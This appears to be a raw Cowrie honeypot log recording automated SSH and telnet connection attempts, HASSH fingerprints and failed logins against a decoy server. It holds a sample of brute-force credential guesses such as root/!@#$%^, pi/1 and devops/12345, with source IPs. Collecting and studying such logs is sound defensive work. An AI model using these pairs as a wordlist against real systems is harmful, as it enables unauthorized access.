{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:24.227556Z","src_ip":"91.92.40.36","session":"c6bbbcaa61da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:25.133858Z","src_ip":"91.92.40.36","session":"c6bbbcaa61da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:26.299064Z","src_ip":"91.92.40.36","session":"c6bbbcaa61da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dstserver","password":"dstserver","message":"login attempt [dstserver/dstserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:28.968898Z","src_ip":"91.92.40.36","session":"0cade9cb4012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:31.086937Z","src_ip":"91.92.40.36","session":"0cade9cb4012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12870,"dst_ip":"10.17.0.5","dst_port":22,"session":"70802af24e38","protocol":"ssh","message":"New connection: 91.92.40.36:12870 (10.17.0.5:22) [session: 70802af24e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:31.832943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:31.905268Z","src_ip":"91.92.40.36","session":"70802af24e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:32.022326Z","src_ip":"91.92.40.36","session":"70802af24e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^","message":"login attempt [root/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:32.995068Z","src_ip":"91.92.40.36","session":"70802af24e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:34.196325Z","src_ip":"91.92.40.36","session":"70802af24e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26544,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb193840c140","protocol":"ssh","message":"New connection: 91.92.40.36:26544 (10.17.0.5:22) [session: eb193840c140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:39.515766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:39.626890Z","src_ip":"91.92.40.36","session":"eb193840c140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:39.631556Z","src_ip":"91.92.40.36","session":"eb193840c140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anmol","password":"anmol","message":"login attempt [anmol/anmol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:40.780708Z","src_ip":"91.92.40.36","session":"eb193840c140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:42.201617Z","src_ip":"91.92.40.36","session":"eb193840c140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53104,"dst_ip":"10.17.0.5","dst_port":22,"session":"35ef8fdcc6bb","protocol":"ssh","message":"New connection: 27.71.230.31:53104 (10.17.0.5:22) [session: 35ef8fdcc6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:45.536089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:45.540805Z","src_ip":"27.71.230.31","session":"35ef8fdcc6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:45.905705Z","src_ip":"27.71.230.31","session":"35ef8fdcc6bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60892,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e0d50438060","protocol":"ssh","message":"New connection: 91.92.40.36:60892 (10.17.0.5:22) [session: 2e0d50438060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:47.087945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:47.220620Z","src_ip":"91.92.40.36","session":"2e0d50438060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:47.224413Z","src_ip":"91.92.40.36","session":"2e0d50438060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":59946,"dst_ip":"159.203.135.109","dst_port":22,"session":"6db3958746e4","protocol":"ssh","message":"New connection: 102.210.148.92:59946 (159.203.135.109:22) [session: 6db3958746e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:47.544547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:47.552500Z","src_ip":"102.210.148.92","session":"6db3958746e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:47.799043Z","src_ip":"102.210.148.92","session":"6db3958746e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1","message":"login attempt [pi/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:48.012315Z","src_ip":"91.92.40.36","session":"2e0d50438060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"UserRoot2025","message":"login attempt [root/UserRoot2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:48.415462Z","src_ip":"27.71.230.31","session":"35ef8fdcc6bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:48.795230Z","src_ip":"102.210.148.92","session":"6db3958746e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:49.109757Z","src_ip":"91.92.40.36","session":"2e0d50438060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:49.710608Z","src_ip":"27.71.230.31","session":"35ef8fdcc6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:50.038675Z","src_ip":"102.210.148.92","session":"6db3958746e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60934,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ceec57efe38","protocol":"ssh","message":"New connection: 91.92.40.36:60934 (10.17.0.5:22) [session: 8ceec57efe38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:53.664088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:54.207772Z","src_ip":"91.92.40.36","session":"8ceec57efe38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:54.211495Z","src_ip":"91.92.40.36","session":"8ceec57efe38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:57.196099Z","src_ip":"91.92.40.36","session":"8ceec57efe38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:59.011633Z","src_ip":"91.92.40.36","session":"8ceec57efe38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":45318,"dst_ip":"159.203.135.109","dst_port":22,"session":"f06808ddf8dc","protocol":"ssh","message":"New connection: 102.213.34.99:45318 (159.203.135.109:22) [session: f06808ddf8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:00.139919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:00.146869Z","src_ip":"102.213.34.99","session":"f06808ddf8dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:00.317142Z","src_ip":"102.213.34.99","session":"f06808ddf8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbadmin","password":"123","message":"login attempt [dbadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:01.034143Z","src_ip":"102.213.34.99","session":"f06808ddf8dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":33104,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3117b357b59","protocol":"telnet","message":"New connection: 94.23.66.112:33104 (10.17.0.5:23) [session: f3117b357b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:01.768003Z"}
{"eventid":"cowrie.session.closed","duration":0.0062885284423828125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:01.774148Z","src_ip":"94.23.66.112","session":"f3117b357b59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:02.207621Z","src_ip":"102.213.34.99","session":"f06808ddf8dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15336,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b7dec061fb8","protocol":"ssh","message":"New connection: 91.92.40.36:15336 (10.17.0.5:22) [session: 2b7dec061fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:02.579710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:02.679965Z","src_ip":"91.92.40.36","session":"2b7dec061fb8","protocol":"ssh"}
